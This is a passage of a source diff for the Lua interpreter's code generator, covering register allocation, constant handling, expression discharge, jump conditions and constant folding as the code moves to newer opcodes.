fs->freereg + n; if (newstack > fs->f->maxstacksize) { - if (newstack >= MAXSTACK) - luaX_syntaxerror(fs->ls, "function or expression too complex"); + if (newstack >= MAXREGS) + luaX_syntaxerror(fs->ls, + "function or expression needs too many registers"); fs->f->maxstacksize = cast_byte(newstack); } } +/* +** Reserve 'n' registers in register stack +*/ void luaK_reserveregs(FuncState *fs, int n) { luaK_checkstack(fs, n); fs->freereg += n; } +/* +** Free register 'reg', if it is neither a constant index nor +** a local variable. +) +*/ static void freereg(FuncState *fs, int reg) { - if (!ISK(reg) && reg >= fs->nactvar) { + if (reg >= luaY_nvarstack(fs)) { fs->freereg--; lua_assert(reg == fs->freereg); } } +/* +** Free two registers in proper order +*/ +static void freeregs(FuncState *fs, int r1, int r2) { + if (r1 > r2) { + freereg(fs, r1); + freereg(fs, r2); + } else { + freereg(fs, r2); + freereg(fs, r1); + } +} + + +/* +** Free register used by expression 'e' (if any) +*/ static void freeexp(FuncState *fs, expdesc *e) { if (e->k == VNONRELOC) freereg(fs, e->u.info); } +/* +** Free registers used by expressions 'e1' and 'e2' (if any) in proper +** order. +*/ +static void freeexps(FuncState *fs, expdesc *e1, expdesc *e2) { + int r1 = (e1->k == VNONRELOC) ? e1->u.info : -1; + int r2 = (e2->k == VNONRELOC) ? e2->u.info : -1; + freeregs(fs, r1, r2); +} + + +/* +** Add constant 'v' to prototype's list of constants (field 'k'). +** Use scanner's table to cache position of constants in constant list +** and try to reuse constants. Because some values should not be used +** as keys (nil cannot be a key, integer keys can collapse with float +** keys), the caller must provide a useful 'key' for indexing the cache. +** Note that all functions share the same table, so entering or exiting +** a function can make some indices wrong. +*/ static int addk(FuncState *fs, TValue *key, TValue *v) { + TValue val; lua_State *L = fs->ls->L; - TValue *idx = luaH_set(L, fs->h, key); Proto *f = fs->f; + const TValue *idx = luaH_get(fs->ls->h, key); /* query scanner table */ int k, oldsize; - if (ttisnumber(idx)) { - lua_Number n = nvalue(idx); - lua_number2int(k, n); - if (luaV_rawequalobj(&f->k[k], v)) - return k; - /* else may be a collision (e.g., between 0.0 and "\0\0\0\0\0\0\0\0"); - go through and create a new entry for this value */ + if (ttisinteger(idx)) { /* is there an index there? */ + k = cast_int(ivalue(idx)); + /* correct value? (warning: must distinguish floats from integers!) */ + if (k < fs->nk && ttypetag(&f->k[k]) == ttypetag(v) && + luaV_rawequalobj(&f->k[k], v)) + return k; /* reuse index */ } /* constant not found; create a new entry */ oldsize = f->sizek; k = fs->nk; /* numerical value does not need GC barrier; table has no metatable, so it does not need to invalidate cache */ - setnvalue(idx, cast_num(k)); + setivalue(&val, k); + luaH_finishset(L, fs->ls->h, key, idx, &val); luaM_growvector(L, f->k, k, f->sizek, TValue, MAXARG_Ax, "constants"); while (oldsize < f->sizek) setnilvalue(&f->k[oldsize++]); setobj(L, &f->k[k], v); @@ -316,87 +575,248 @@ static int addk(FuncState *fs, TValue *key, TValue *v) { } -int luaK_stringK(FuncState *fs, TString *s) { +/* +** Add a string to list of constants and return its index. +*/ +static int stringK(FuncState *fs, TString *s) { TValue o; setsvalue(fs->ls->L, &o, s); - return addk(fs, &o, &o); + return addk(fs, &o, &o); /* use string itself as key */ } -int luaK_numberK(FuncState *fs, lua_Number r) { - int n; - lua_State *L = fs->ls->L; +/* +** Add an integer to list of constants and return its index. +*/ +static int luaK_intK(FuncState *fs, lua_Integer n) { TValue o; - setnvalue(&o, r); - if (r == 0 || luai_numisnan(NULL, r)) { /* handle -0 and NaN */ - /* use raw representation as key to avoid numeric problems */ - setsvalue(L, L->top++, luaS_newlstr(L, (char *)&r, sizeof(r))); - n = addk(fs, L->top - 1, &o); - L->top--; - } else - n = addk(fs, &o, &o); /* regular case */ - return n; + setivalue(&o, n); + return addk(fs, &o, &o); /* use integer itself as key */ } - -static int boolK(FuncState *fs, int b) { +/* +** Add a float to list of constants and return its index. Floats +** with integral values need a different key, to avoid collision +** with actual integers. To that, we add to the number its smaller +** power-of-two fraction that is still significant in its scale. +** For doubles, that would be 1/2^52. +** (This method is not bulletproof: there may be another float +** with that value, and for floats larger than 2^53 the result is +** still an integer. At worst, this only wastes an entry with +** a duplicate.) +*/ +static int luaK_numberK(FuncState *fs, lua_Number r) { TValue o; - setbvalue(&o, b); - return addk(fs, &o, &o); + lua_Integer ik; + setfltvalue(&o, r); + if (!luaV_flttointeger(r, &ik, F2Ieq)) /* not an integral value? */ + return addk(fs, &o, &o); /* use number itself as key */ + else { /* must build an alternative key */ + const int nbm = l_floatatt(MANT_DIG); + const lua_Number q = l_mathop(ldexp)(l_mathop(1.0), -nbm + 1); + const lua_Number k = (ik == 0) ? q : r + r * q; /* new key */ + TValue kv; + setfltvalue(&kv, k); + /* result is not an integral value, unless value is too large */ + lua_assert(!luaV_flttointeger(k, &ik, F2Ieq) || + l_mathop(fabs)(r) >= l_mathop(1e6)); + return addk(fs, &kv, &o); + } } +/* +** Add a false to list of constants and return its index. +*/ +static int boolF(FuncState *fs) { + TValue o; + setbfvalue(&o); + return addk(fs, &o, &o); /* use boolean itself as key */ +} + + +/* +** Add a true to list of constants and return its index. +*/ +static int boolT(FuncState *fs) { + TValue o; + setbtvalue(&o); + return addk(fs, &o, &o); /* use boolean itself as key */ +} + + +/* +** Add nil to list of constants and return its index. +*/ static int nilK(FuncState *fs) { TValue k, v; setnilvalue(&v); /* cannot use nil as key; instead use table itself to represent nil */ - sethvalue(fs->ls->L, &k, fs->h); + sethvalue(fs->ls->L, &k, fs->ls->h); return addk(fs, &k, &v); } +/* +** Check whether 'i' can be stored in an 'sC' operand. Equivalent to +** (0 <= int2sC(i) && int2sC(i) <= MAXARG_C) but without risk of +** overflows in the hidden addition inside 'int2sC'. +*/ +static int fitsC(lua_Integer i) { + return (l_castS2U(i) + OFFSET_sC <= cast_uint(MAXARG_C)); +} + + +/* +** Check whether 'i' can be stored in an 'sBx' operand. +*/ +static int fitsBx(lua_Integer i) { + return (-OFFSET_sBx <= i && i <= MAXARG_Bx - OFFSET_sBx); +} + + +void luaK_int(FuncState *fs, int reg, lua_Integer i) { + if (fitsBx(i)) + codeAsBx(fs, OP_LOADI, reg, cast_int(i)); + else + luaK_codek(fs, reg, luaK_intK(fs, i)); +} + + +static void luaK_float(FuncState *fs, int reg, lua_Number f) { + lua_Integer fi; + if (luaV_flttointeger(f, &fi, F2Ieq) && fitsBx(fi)) + codeAsBx(fs, OP_LOADF, reg, cast_int(fi)); + else + luaK_codek(fs, reg, luaK_numberK(fs, f)); +} + + +/* +** Convert a constant in 'v' into an expression description 'e' +*/ +static void const2exp(TValue *v, expdesc *e) { + switch (ttypetag(v)) { + case LUA_VNUMINT: + e->k = VKINT; + e->u.ival = ivalue(v); + break; + case LUA_VNUMFLT: + e->k = VKFLT; + e->u.nval = fltvalue(v); + break; + case LUA_VFALSE: + e->k = VFALSE; + break; + case LUA_VTRUE: + e->k = VTRUE; + break; + case LUA_VNIL: + e->k = VNIL; + break; + case LUA_VSHRSTR: + case LUA_VLNGSTR: + e->k = VKSTR; + e->u.strval = tsvalue(v); + break; + default: + lua_assert(0); + } +} + + +/* +** Fix an expression to return the number of results 'nresults'. +** 'e' must be a multi-ret expression (function call or vararg). +*/ void luaK_setreturns(FuncState *fs, expdesc *e, int nresults) { - if (e->k == VCALL) { /* expression is an open function call? */ - SETARG_C(getcode(fs, e), nresults + 1); - } else if (e->k == VVARARG) { - SETARG_B(getcode(fs, e), nresults + 1); - SETARG_A(getcode(fs, e), fs->freereg); + Instruction *pc = &getinstruction(fs, e); + if (e->k == VCALL) /* expression is an open function call? */ + SETARG_C(*pc, nresults + 1); + else { + lua_assert(e->k == VVARARG); + SETARG_C(*pc, nresults + 1); + SETARG_A(*pc, fs->freereg); luaK_reserveregs(fs, 1); } } +/* +** Convert a VKSTR to a VK +*/ +static void str2K(FuncState *fs, expdesc *e) { + lua_assert(e->k == VKSTR); + e->u.info = stringK(fs, e->u.strval); + e->k = VK; +} + + +/* +** Fix an expression to return one result. +** If expression is not a multi-ret expression (function call or +** vararg), it already returns one result, so nothing needs to be done. +** Function calls become VNONRELOC expressions (as its result comes +** fixed in the base register of the call), while vararg expressions +** become VRELOC (as OP_VARARG puts its results where it wants). +** (Calls are created returning one result, so that does not need +** to be fixed.) +*/ void luaK_setoneret(FuncState *fs, expdesc *e) { if (e->k == VCALL) { /* expression is an open function call? */ - e->k = VNONRELOC; - e->u.info = GETARG_A(getcode(fs, e)); + /* already returns 1 value */ + lua_assert(GETARG_C(getinstruction(fs, e)) == 2); + e->k = VNONRELOC; /* result has fixed position */ + e->u.info = GETARG_A(getinstruction(fs, e)); } else if (e->k == VVARARG) { - SETARG_B(getcode(fs, e), 2); - e->k = VRELOCABLE; /* can relocate its simple result */ + SETARG_C(getinstruction(fs, e), 2); + e->k = VRELOC; /* can relocate its simple result */ } } +/* +** Ensure that expression 'e' is not a variable (nor a ). +** (Expression still may have jump lists.) +*/ void luaK_dischargevars(FuncState *fs, expdesc *e) { switch (e->k) { - case VLOCAL: { - e->k = VNONRELOC; + case VCONST: { + const2exp(const2val(fs, e), e); break; } - case VUPVAL: { + case VLOCAL: { /* already in a register */ + int temp = e->u.var.ridx; + e->u.info = temp; /* (can't do a direct assignment; values overlap) */ + e->k = VNONRELOC; /* becomes a non-relocatable value */ + break; + } + case VUPVAL: { /* move value to some (pending) register */ e->u.info = luaK_codeABC(fs, OP_GETUPVAL, 0, e->u.info, 0); - e->k = VRELOCABLE; + e->k = VRELOC; + break; + } + case VINDEXUP: { + e->u.info = luaK_codeABC(fs, OP_GETTABUP, 0, e->u.ind.t, e->u.ind.idx); + e->k = VRELOC; + break; + } + case VINDEXI: { + freereg(fs, e->u.ind.t); + e->u.info = luaK_codeABC(fs, OP_GETI, 0, e->u.ind.t, e->u.ind.idx); + e->k = VRELOC; + break; + } + case VINDEXSTR: { + freereg(fs, e->u.ind.t); + e->u.info = luaK_codeABC(fs, OP_GETFIELD, 0, e->u.ind.t, e->u.ind.idx); + e->k = VRELOC; break; } case VINDEXED: { - OpCode op = OP_GETTABUP; /* assume 't' is in an upvalue */ - freereg(fs, e->u.ind.idx); - if (e->u.ind.vt == VLOCAL) { /* 't' is in a register? */ - freereg(fs, e->u.ind.t); - op = OP_GETTABLE; - } - e->u.info = luaK_codeABC(fs, op, 0, e->u.ind.t, e->u.ind.idx); - e->k = VRELOCABLE; + freeregs(fs, e->u.ind.t, e->u.ind.idx); + e->u.info = luaK_codeABC(fs, OP_GETTABLE, 0, e->u.ind.t, e->u.ind.idx); + e->k = VRELOC; break; } case VVARARG: @@ -410,12 +830,11 @@ void luaK_dischargevars(FuncState *fs, expdesc *e) { } -static int code_label(FuncState *fs, int A, int b, int jump) { - luaK_getlabel(fs); /* those instructions may be jump targets */ - return luaK_codeABC(fs, OP_LOADBOOL, A, b, jump); -} - - +/* +** Ensure expression value is in register 'reg', making 'e' a +** non-relocatable expression. +** (Expression still may have jump lists.) +*/ static void discharge2reg(FuncState *fs, expdesc *e, int reg) { luaK_dischargevars(fs, e); switch (e->k) { @@ -423,22 +842,32 @@ static void discharge2reg(FuncState *fs, expdesc *e, int reg) { luaK_nil(fs, reg, 1); break; } - case VFALSE: - case VTRUE: { - luaK_codeABC(fs, OP_LOADBOOL, reg, e->k == VTRUE, 0); + case VFALSE: { + luaK_codeABC(fs, OP_LOADFALSE, reg, 0, 0); break; } + case VTRUE: { + luaK_codeABC(fs, OP_LOADTRUE, reg, 0, 0); + break; + } + case VKSTR: { + str2K(fs, e); + } /* FALLTHROUGH */ case VK: { luaK_codek(fs, reg, e->u.info); break; } - case VKNUM: { - luaK_codek(fs, reg, luaK_numberK(fs, e->u.nval)); + case VKFLT: { + luaK_float(fs, reg, e->u.nval); break; } - case VRELOCABLE: { - Instruction *pc = &getcode(fs, e); - SETARG_A(*pc, reg); + case VKINT: { + luaK_int(fs, reg, e->u.ival); + break; + } + case VRELOC: { + Instruction *pc = &getinstruction(fs, e); + SETARG_A(*pc, reg); /* instruction will put result in 'reg' */ break; } case VNONRELOC: { @@ -447,7 +876,7 @@ static void discharge2reg(FuncState *fs, expdesc *e, int reg) { break; } default: { - lua_assert(e->k == VVOID || e->k == VJMP); + lua_assert(e->k == VJMP); return; /* nothing to do... */ } } @@ -456,26 +885,58 @@ static void discharge2reg(FuncState *fs, expdesc *e, int reg) { } +/* +** Ensure expression value is in a register, making 'e' a +** non-relocatable expression. +** (Expression still may have jump lists.) +*/ static void discharge2anyreg(FuncState *fs, expdesc *e) { - if (e->k != VNONRELOC) { - luaK_reserveregs(fs, 1); - discharge2reg(fs, e, fs->freereg - 1); + if (e->k != VNONRELOC) { /* no fixed register yet? */ + luaK_reserveregs(fs, 1); /* get a register */ + discharge2reg(fs, e, fs->freereg - 1); /* put value there */ } } +static int code_loadbool(FuncState *fs, int A, OpCode op) { + luaK_getlabel(fs); /* those instructions may be jump targets */ + return luaK_codeABC(fs, op, A, 0, 0); +} + + +/* +** check whether list has any jump that do not produce a value +** or produce an inverted value +*/ +static int need_value(FuncState *fs, int list) { + for (; list != NO_JUMP; list = getjump(fs, list)) { + Instruction i = *getjumpcontrol(fs, list); + if (GET_OPCODE(i) != OP_TESTSET) return 1; + } + return 0; /* not found */ +} + + +/* +** Ensures final expression result (which includes results from its +** jump lists) is in register 'reg'. +** If expression has jumps, need to patch these jumps either to +** its final position or to "load" instructions (for those tests +** that do not produce values). +*/ static void exp2reg(FuncState *fs, expdesc *e, int reg) { discharge2reg(fs, e, reg); - if (e->k == VJMP) - luaK_concat(fs, &e->t, e->u.info); /* put this jump in `t' list */ + if (e->k == VJMP) /* expression itself is a test? */ + luaK_concat(fs, &e->t, e->u.info); /* put this jump in 't' list */ if (hasjumps(e)) { int final; /* position after whole expression */ int p_f = NO_JUMP; /* position of an eventual LOAD false */ int p_t = NO_JUMP; /* position of an eventual LOAD true */ if (need_value(fs, e->t) || need_value(fs, e->f)) { int fj = (e->k == VJMP) ? NO_JUMP : luaK_jump(fs); - p_f = code_label(fs, reg, 0, 1); - p_t = code_label(fs, reg, 1, 0); + p_f = code_loadbool(fs, reg, OP_LFALSESKIP); /* skip next inst. */ + p_t = code_loadbool(fs, reg, OP_LOADTRUE); + /* jump around these booleans if 'e' is not a test */ luaK_patchtohere(fs, fj); } final = luaK_getlabel(fs); @@ -488,6 +949,9 @@ static void exp2reg(FuncState *fs, expdesc *e, int reg) { } +/* +** Ensures final expression result is in next available register. +*/ void luaK_exp2nextreg(FuncState *fs, expdesc *e) { luaK_dischargevars(fs, e); freeexp(fs, e); @@ -496,26 +960,42 @@ void luaK_exp2nextreg(FuncState *fs, expdesc *e) { } +/* +** Ensures final expression result is in some (any) register +** and return that register. +*/ int luaK_exp2anyreg(FuncState *fs, expdesc *e) { luaK_dischargevars(fs, e); - if (e->k == VNONRELOC) { - if (!hasjumps(e)) return e->u.info; /* exp is already in a register */ - if (e->u.info >= fs->nactvar) { /* reg. is not a local? */ - exp2reg(fs, e, e->u.info); /* put value on it */ + if (e->k == VNONRELOC) { /* expression already has a register? */ + if (!hasjumps(e)) /* no jumps? */ + return e->u.info; /* result is already in a register */ + if (e->u.info >= luaY_nvarstack(fs)) { /* reg. is not a local? */ + exp2reg(fs, e, e->u.info); /* put final result in it */ return e->u.info; } + /* else expression has jumps and cannot change its register + to hold the jump values, because it is a local variable. + Go through to the default case. */ } - luaK_exp2nextreg(fs, e); /* default */ + luaK_exp2nextreg(fs, e); /* default: use next available register */ return e->u.info; } +/* +** Ensures final expression result is either in a register +** or in an upvalue. +*/ void luaK_exp2anyregup(FuncState *fs, expdesc *e) { if (e->k != VUPVAL || hasjumps(e)) luaK_exp2anyreg(fs, e); } +/* +** Ensures final expression result is either in a register +** or it is a constant. +*/ void luaK_exp2val(FuncState *fs, expdesc *e) { if (hasjumps(e)) luaK_exp2anyreg(fs, e); @@ -524,41 +1004,80 @@ void luaK_exp2val(FuncState *fs, expdesc *e) { } -int luaK_exp2RK(FuncState *fs, expdesc *e) { - luaK_exp2val(fs, e); - switch (e->k) { - case VTRUE: - case VFALSE: - case VNIL: { - if (fs->nk <= MAXINDEXRK) { /* constant fits in RK operand? */ - e->u.info = (e->k == VNIL) ? nilK(fs) : boolK(fs, (e->k == VTRUE)); - e->k = VK; - return RKASK(e->u.info); - } else break; +/* +** Try to make 'e' a K expression with an index in the range of R/K +** indices. Return true iff succeeded. +*/ +static int luaK_exp2K(FuncState *fs, expdesc *e) { + if (!hasjumps(e)) { + int info; + switch (e->k) { /* move constants to 'k' */ + case VTRUE: + info = boolT(fs); + break; + case VFALSE: + info = boolF(fs); + break; + case VNIL: + info = nilK(fs); + break; + case VKINT: + info = luaK_intK(fs, e->u.ival); + break; + case VKFLT: + info = luaK_numberK(fs, e->u.nval); + break; + case VKSTR: + info = stringK(fs, e->u.strval); + break; + case VK: + info = e->u.info; + break; + default: + return 0; /* not a constant */ } - case VKNUM: { - e->u.info = luaK_numberK(fs, e->u.nval); - e->k = VK; - /* go through */ + if (info <= MAXINDEXRK) { /* does constant fit in 'argC'? */ + e->k = VK; /* make expression a 'K' expression */ + e->u.info = info; + return 1; } - case VK: { - if (e->u.info <= MAXINDEXRK) /* constant fits in argC? */ - return RKASK(e->u.info); - else break; - } - default: - break; } - /* not a constant in the right range: put it in a register */ - return luaK_exp2anyreg(fs, e); + /* else, expression doesn't fit; leave it unchanged */ + return 0; } +/* +** Ensures final expression result is in a valid R/K index +** (that is, it is either in a register or in 'k' with an index +** in the range of R/K indices). +** Returns 1 iff expression is K. +*/ +static int exp2RK(FuncState *fs, expdesc *e) { + if (luaK_exp2K(fs, e)) + return 1; + else { /* not a constant in the right range: put it in a register */ + luaK_exp2anyreg(fs, e); + return 0; + } +} + + +static void codeABRK(FuncState *fs, OpCode o, int a, int b, + expdesc *ec) { + int k = exp2RK(fs, ec); + luaK_codeABCk(fs, o, a, b, ec->u.info, k); +} + + +/* +** Generate code to store result of expression 'ex' into variable 'var'. +*/ void luaK_storevar(FuncState *fs, expdesc *var, expdesc *ex) { switch (var->k) { case VLOCAL: { freeexp(fs, ex); - exp2reg(fs, ex, var->u.info); + exp2reg(fs, ex, var->u.var.ridx); /* compute 'ex' into proper place */ return; } case VUPVAL: { @@ -566,89 +1085,117 @@ void luaK_storevar(FuncState *fs, expdesc *var, expdesc *ex) { luaK_codeABC(fs, OP_SETUPVAL, e, var->u.info, 0); break; } + case VINDEXUP: { + codeABRK(fs, OP_SETTABUP, var->u.ind.t, var->u.ind.idx, ex); + break; + } + case VINDEXI: { + codeABRK(fs, OP_SETI, var->u.ind.t, var->u.ind.idx, ex); + break; + } + case VINDEXSTR: { + codeABRK(fs, OP_SETFIELD, var->u.ind.t, var->u.ind.idx, ex); + break; + } case VINDEXED: { - OpCode op = (var->u.ind.vt == VLOCAL) ? OP_SETTABLE : OP_SETTABUP; - int e = luaK_exp2RK(fs, ex); - luaK_codeABC(fs, op, var->u.ind.t, var->u.ind.idx, e); + codeABRK(fs, OP_SETTABLE, var->u.ind.t, var->u.ind.idx, ex); break; } - default: { + default: lua_assert(0); /* invalid var kind to store */ - break; - } } freeexp(fs, ex); } +/* +** Emit SELF instruction (convert expression 'e' into 'e:key(e,'). +*/ void luaK_self(FuncState *fs, expdesc *e, expdesc *key) { int ereg; luaK_exp2anyreg(fs, e); ereg = e->u.info; /* register where 'e' was placed */ freeexp(fs, e); e->u.info = fs->freereg; /* base register for op_self */ - e->k = VNONRELOC; + e->k = VNONRELOC; /* self expression has a fixed register */ luaK_reserveregs(fs, 2); /* function and 'self' produced by op_self */ - luaK_codeABC(fs, OP_SELF, e->u.info, ereg, luaK_exp2RK(fs, key)); + codeABRK(fs, OP_SELF, e->u.info, ereg, key); freeexp(fs, key); } -static void invertjump(FuncState *fs, expdesc *e) { +/* +** Negate condition 'e' (where 'e' is a comparison). +*/ +static void negatecondition(FuncState *fs, expdesc *e) { Instruction *pc = getjumpcontrol(fs, e->u.info); lua_assert(testTMode(GET_OPCODE(*pc)) && GET_OPCODE(*pc) != OP_TESTSET && GET_OPCODE(*pc) != OP_TEST); - SETARG_A(*pc, !(GETARG_A(*pc))); + SETARG_k(*pc, (GETARG_k(*pc) ^ 1)); } +/* +** Emit instruction to jump if 'e' is 'cond' (that is, if 'cond' +** is true, code will jump if 'e' is true.) Return jump position. +** Optimize when 'e' is 'not' something, inverting the condition +** and removing the 'not'. +*/ static int jumponcond(FuncState *fs, expdesc *e, int cond) { - if (e->k == VRELOCABLE) { - Instruction ie = getcode(fs, e); + if (e->k == VRELOC) { + Instruction ie = getinstruction(fs, e); if (GET_OPCODE(ie) == OP_NOT) { - fs->pc--; /* remove previous OP_NOT */ - return condjump(fs, OP_TEST, GETARG_B(ie), 0, !cond); + removelastinstruction(fs); /* remove previous OP_NOT */ + return condjump(fs, OP_TEST, GETARG_B(ie), 0, 0, !cond); } /* else go through */ } discharge2anyreg(fs, e); freeexp(fs, e); - return condjump(fs, OP_TESTSET, NO_REG, e->u.info, cond); + return condjump(fs, OP_TESTSET, NO_REG, e->u.info, 0, cond); } +/* +** Emit code to go through if 'e' is true, jump otherwise. +*/ void luaK_goiftrue(FuncState *fs, expdesc *e) { - int pc; /* pc of last jump */ + int pc; /* pc of new jump */ luaK_dischargevars(fs, e); switch (e->k) { - case VJMP: { - invertjump(fs, e); - pc = e->u.info; + case VJMP: { /* condition? */ + negatecondition(fs, e); /* jump when it is false */ + pc = e->u.info; /* save jump position */ break; } case VK: - case VKNUM: + case VKFLT: + case VKINT: + case VKSTR: case VTRUE: { pc = NO_JUMP; /* always true; do nothing */ break; } default: { - pc = jumponcond(fs, e, 0); + pc = jumponcond(fs, e, 0); /* jump when false */ break; } } - luaK_concat(fs, &e->f, pc); /* insert last jump in `f' list */ - luaK_patchtohere(fs, e->t); + luaK_concat(fs, &e->f, pc); /* insert new jump in false list */ + luaK_patchtohere(fs, e->t); /* true list jumps to here (to go through) */ e->t = NO_JUMP; } +/* +** Emit code to go through if 'e' is false, jump otherwise. +*/ void luaK_goiffalse(FuncState *fs, expdesc *e) { - int pc; /* pc of last jump */ + int pc; /* pc of new jump */ luaK_dischargevars(fs, e); switch (e->k) { case VJMP: { - pc = e->u.info; + pc = e->u.info; /* already jump if true */ break; } case VNIL: @@ -657,224 +1204,634 @@ void luaK_goiffalse(FuncState *fs, expdesc *e) { break; } default: { - pc = jumponcond(fs, e, 1); + pc = jumponcond(fs, e, 1); /* jump if true */ break; } } - luaK_concat(fs, &e->t, pc); /* insert last jump in `t' list */ - luaK_patchtohere(fs, e->f); + luaK_concat(fs, &e->t, pc); /* insert new jump in 't' list */ + luaK_patchtohere(fs, e->f); /* false list jumps to here (to go through) */ e->f = NO_JUMP; } +/* +** Code 'not e', doing constant folding. +*/ static void codenot(FuncState *fs, expdesc *e) { - luaK_dischargevars(fs, e); switch (e->k) { case VNIL: case VFALSE: { - e->k = VTRUE; + e->k = VTRUE; /* true == not nil == not false */ break; } case VK: - case VKNUM: + case VKFLT: + case VKINT: + case VKSTR: case VTRUE: { - e->k = VFALSE; + e->k = VFALSE; /* false == not "x" == not 0.5 == not 1 == not true */ break; } case VJMP: { - invertjump(fs, e); + negatecondition(fs, e); break; } - case VRELOCABLE: + case VRELOC: case VNONRELOC: { discharge2anyreg(fs, e); freeexp(fs, e); e->u.info = luaK_codeABC(fs, OP_NOT, 0, e->u.info, 0); - e->k = VRELOCABLE; + e->k = VRELOC; break; } - default: { + default: lua_assert(0); /* cannot happen */ - break; - } } /* interchange true and false lists */ { int temp = e->f; e->f = e->t; e->t = temp; } - removevalues(fs, e->f); + removevalues(fs, e->f); /* values are useless when negated */ removevalues(fs, e->t); } -void luaK_indexed(FuncState *fs, expdesc *t, expdesc *k) { - lua_assert(!hasjumps(t)); - t->u.ind.t = t->u.info; - t->u.ind.idx = luaK_exp2RK(fs, k); - t->u.ind.vt = (t->k == VUPVAL) ? VUPVAL - : check_exp(vkisinreg(t->k), VLOCAL); - t->k = VINDEXED; +/* +** Check whether expression 'e' is a short literal string +*/ +static int isKstr(FuncState *fs, expdesc *e) { + return (e->k == VK && !hasjumps(e) && e->u.info <= MAXARG_B && + ttisshrstring(&fs->f->k[e->u.info])); +} + +/* +** Check whether expression 'e' is a literal integer. +*/ +static int isKint(expdesc *e) { + return (e->k == VKINT && !hasjumps(e)); } -static int constfolding(OpCode op, expdesc *e1, expdesc *e2) { - lua_Number r; - if (!isnumeral(e1) || !isnumeral(e2)) return 0; - if ((op == OP_DIV || op == OP_MOD) && e2->u.nval == 0) - return 0; /* do not attempt to divide by 0 */ - r = luaO_arith(op - OP_ADD + LUA_OPADD, e1->u.nval, e2->u.nval); - e1->u.nval = r; +/* +** Check whether expression 'e' is a literal integer in +** proper range to fit in register C +*/ +static int isCint(expdesc *e) { + return isKint(e) && (l_castS2U(e->u.ival) <= l_castS2U(MAXARG_C)); +} + + +/* +** Check whether expression 'e' is a literal integer in +** proper range to fit in register sC +*/ +static int isSCint(expdesc *e) { + return isKint(e) && fitsC(e->u.ival); +} + + +/* +** Check whether expression 'e' is a literal integer or float in +** proper range to fit in a register (sB or sC). +*/ +static int isSCnumber(expdesc *e, int *pi, int *isfloat) { + lua_Integer i; + if (e->k == VKINT) + i = e->u.ival; + else if (e->k == VKFLT && luaV_flttointeger(e->u.nval, &i, F2Ieq)) + *isfloat = 1; + else + return 0; /* not a number */ + if (!hasjumps(e) && fitsC(i)) { + *pi = int2sC(cast_int(i)); + return 1; + } else + return 0; +} + + +/* +** Create expression 't[k]'. 't' must have its final result already in a +** register or upvalue. Upvalues can only be indexed by literal strings. +** Keys can be literal strings in the constant table or arbitrary +** values in registers. +*/ +void luaK_indexed(FuncState *fs, expdesc *t, expdesc *k) { + if (k->k == VKSTR) + str2K(fs, k); + lua_assert(!hasjumps(t) && + (t->k == VLOCAL || t->k == VNONRELOC || t->k == VUPVAL)); + if (t->k == VUPVAL && !isKstr(fs, k)) /* upvalue indexed by non 'Kstr'? */ + luaK_exp2anyreg(fs, t); /* put it in a register */ + if (t->k == VUPVAL) { + int temp = t->u.info; /* upvalue index */ + lua_assert(isKstr(fs, k)); + t->u.ind.t = temp; /* (can't do a direct assignment; values overlap) */ + t->u.ind.idx = k->u.info; /* literal short string */ + t->k = VINDEXUP; + } else { + /* register index of the table */ + t->u.ind.t = (t->k == VLOCAL) ? t->u.var.ridx : t->u.info; + if (isKstr(fs, k)) { + t->u.ind.idx = k->u.info; /* literal short string */ + t->k = VINDEXSTR; + } else if (isCint(k)) { + t->u.ind.idx = cast_int(k->u.ival); /* int. constant in proper range */ + t->k = VINDEXI; + } else { + t->u.ind.idx = luaK_exp2anyreg(fs, k); /* register */ + t->k = VINDEXED; + } + } +} + + +/* +** Return false if folding can raise an error. +** Bitwise operations need operands convertible to integers; division +** operations cannot have 0 as divisor. +*/ +static int validop(int op, TValue *v1, TValue *v2) { + switch (op) { + case LUA_OPBAND: + case LUA_OPBOR: + case LUA_OPBXOR: + case LUA_OPSHL: + case LUA_OPSHR: + case LUA_OPBNOT: { /* conversion errors */ + lua_Integer i; + return (luaV_tointegerns(v1, &i, LUA_FLOORN2I) && + luaV_tointegerns(v2, &i, LUA_FLOORN2I)); + } + case LUA_OPDIV: + case LUA_OPIDIV: + case LUA_OPMOD: /* division by 0 */ + return (nvalue(v2) != 0); + default: + return 1; /* everything else is valid */ + } +} + + +/* +** Try to "constant-fold" an operation; return 1 iff successful. +** (In this case, 'e1' has the final result.) +*/ +static int constfolding(FuncState *fs, int op, expdesc *e1, + const expdesc *e2) { + TValue v1, v2, res; + if (!tonumeral(e1, &v1) || !tonumeral(e2, &v2) || !validop(op, &v1, &v2)) + return 0; /* non-numeric operands or not safe to fold */ + luaO_rawarith(fs->ls->L, op, &v1, &v2, &res); /* does operation */ + if (ttisinteger(&res)) { + e1->k = VKINT; + e1->u.ival = ivalue(&res); + } else { /* folds neither NaN nor 0.0 (to avoid problems with -0.0) */ + lua_Number n = fltvalue(&res); + if (luai_numisnan(n) || n == 0) + return 0; + e1->k = VKFLT; + e1->u.nval = n; + } return 1; } -static void codearith(FuncState *fs, OpCode op, - expdesc *e1, expdesc *e2, int line) { - if (constfolding(op, e1, e2)) - return; +/* +** Convert a BinOpr to an OpCode (ORDER OPR - ORDER OP) +*/ +l_sinline OpCode binopr2op(BinOpr opr, BinOpr baser, OpCode base) { + lua_assert(baser <= opr && + ((baser == OPR_ADD && opr <= OPR_SHR) || + (baser == OPR_LT && opr <= OPR_LE))); + return cast(OpCode, (cast_int(opr) - cast_int(baser)) + cast_int(base)); +} + + +/* +** Convert a UnOpr to an OpCode (ORDER OPR - ORDER OP) +*/ +l_sinline OpCode unopr2op(UnOpr opr) { + return cast(OpCode, (cast_int(opr) - cast_int(OPR_MINUS)) + + cast_int(OP_UNM)); +} + + +/* +** Convert a BinOpr to a tag method (ORDER OPR - ORDER TM) +*/ +l_sinline TMS binopr2TM(BinOpr opr) { + lua_assert(OPR_ADD <= opr && opr <= OPR_SHR); + return cast(TMS, (cast_int(opr) - cast_int(OPR_ADD)) + cast_int(TM_ADD)); +} + + +/* +** Emit code for unary expressions that "produce values" +** (everything but 'not'). +** Expression to produce final result will be encoded in 'e'. +*/ +static void codeunexpval(FuncState *fs, OpCode op, expdesc *e, int line) { + int r = luaK_exp2anyreg(fs, e); /* opcodes operate only on registers */ + freeexp(fs, e); + e->u.info = luaK_codeABC(fs, op, 0, r, 0); /* generate opcode */ + e->k = VRELOC; /* all those operations are relocatable */ + luaK_fixline(fs, line); +} + + +/* +** Emit code for binary expressions that "produce values" +** (everything but logical operators 'and'/'or' and comparison +** operators). +** Expression to produce final result will be encoded in 'e1'. +*/ +static void finishbinexpval(FuncState *fs, expdesc *e1, expdesc 